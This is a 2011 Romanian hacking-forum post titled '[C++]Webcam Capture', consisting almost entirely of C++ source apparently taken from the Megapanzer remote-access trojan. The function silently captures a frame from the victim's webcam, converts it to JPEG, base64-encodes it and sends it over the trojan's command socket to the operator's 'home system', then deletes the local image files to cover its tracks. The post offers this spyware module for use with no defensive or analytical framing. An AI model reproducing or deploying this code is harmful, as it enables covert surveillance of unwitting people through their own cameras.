Existing user? Sign in
Sign up
Games
Servers
Useful
User
Pass
2FA
[C++]Webcam Capture
Freakz Forum Index
->
Trash Bin
->
Trash
->
Programming / Scripting / Database
Author
Message
1096
slacker
[Mentally Stable]
Status: Offline
(since 08-07-2011 08:29)
Joined: 05 Jul 2011
Posts: 48
,
Topics: 7
Location:
Romania
Reputation:
49.1
Votes
: 3
Posted: 06-07-2011, 19:34:51
| Translate post to:
... (
Click for more languages
)
Code:
#include <stdio.h>
#include <windows.h>
#include <Vfw.h>
#include "Megapanzer_Definitions.h"
extern HWND gWND;
DWORD WINAPI sendWebcamCaptureInfos(PVOID pParameter)
{
HWND lWndVideoHandle;
CAPSTATUS lCapStat;
DWORD lRetVal = 0;
char *lBMPFileName = "info.bmp";
char *lJPGFileName = "info.jpg";
char lJPGFileBaseName[MAX_BUF_SIZE + 1];
HANDLE lFileHandle = INVALID_HANDLE_VALUE;
DWORD lJPGFileSize = 0;
char *lPreEncodedData = NULL;
char *lEncodedData = NULL;
DWORD lBytesRead = 0;
char lTemp[MAX_BUF_SIZE + 1];
int lFuncRetVal = 0;
PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;
SYSTEMTIME lSystemTime;
/*
* initialize values
*/
ZeroMemory(&lCapStat, sizeof(CAPSTATUS));
ZeroMemory(&lSystemTime, sizeof(lSystemTime));
ZeroMemory(lJPGFileBaseName, sizeof(lJPGFileBaseName));
GetLocalTime(&lSystemTime);
snprintf(lJPGFileBaseName, sizeof(lJPGFileBaseName) - 1, "%04d-%02d-%02d-%02d-%02d-%02d.jpg", lSystemTime.wYear, lSystemTime.wMonth, lSystemTime.wDay, lSystemTime.wHour, lSystemTime.wMinute, lSystemTime.wSecond);
ZeroMemory(lTemp, sizeof(lTemp));
_snprintf(lTemp, sizeof(lTemp) - 1, "<webcam>");
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);
/*
* capture webcam frame
*/
Sleep(500);
lWndVideoHandle = capCreateCaptureWindow("WebCam",WS_CHILD, 0, 0, 320, 240,(HWND) gWND, (int) 1);
capDriverConnect(lWndVideoHandle, 0);
Sleep(1000);
capGetStatus(lWndVideoHandle, &lCapStat, sizeof(CAPSTATUS));
capGrabFrame(lWndVideoHandle);
capEditCopy(lWndVideoHandle);
capFileSaveDIB(lWndVideoHandle, lBMPFileName) ;
capDriverDisconnect(lWndVideoHandle) ;
DestroyWindow(lWndVideoHandle);
convertBMP2JPG(lBMPFileName, lJPGFileName);
if ((lFileHandle = CreateFileA(lJPGFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE)
{
lJPGFileSize = GetFileSize(lFileHandle, 0);
/*
* encocd created jpg file
*/
if ((lPreEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL)
{
ReadFile(lFileHandle, lPreEncodedData, lJPGFileSize, (unsigned long *) &lBytesRead, NULL);
CloseHandle(lFileHandle);
if ((lEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL)
{
/*
* transfer picture data to home system
*/
Base64encode(lEncodedData, lPreEncodedData, lBytesRead);
ZeroMemory(lTemp, sizeof(lTemp));
_snprintf(lTemp, sizeof(lTemp) - 1, "<filename>%s</filename><filecontent>", lJPGFileBaseName);
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lEncodedData, Base64encode_len(lBytesRead) - 1, 0);
ZeroMemory(lTemp, sizeof(lTemp));
_snprintf(lTemp, sizeof(lTemp) - 1, "</filecontent>");
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);
} // if ((lEncodedData = (char *) He...
} // if ((lPreEncodedData = (char *) HeapAlloc(GetP...
} // if ((lFileHandle = CreateFileA(lJPGFileFullPath,...
ZeroMemory(lTemp, sizeof(lTemp));
_snprintf(lTemp, sizeof(lTemp) - 1, "</webcam>");
lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);
/*
* cleaning up before returning
*/
DeleteFile("info.bmp");
DeleteFile("info.jpg");
return(lRetVal);
}
Sursa:www.info-hack.com
0
0
Back to top
Freakz Forum Index
->
Trash Bin
->
Trash
->
Programming / Scripting / Database
The time now is 01-12-2024, 22:49:01
Copyright info
Based on phpBB
ro
/
com
B
Login
I forgot my password
World of Warcraft
Login for more...
Download WoW 7.3.5
Misc
eSports
Achievements
Buy reputation with votes
Reputation trades
Forum rules
Ban list
Members list
User guide (FAQ)
World of Warcraft
View details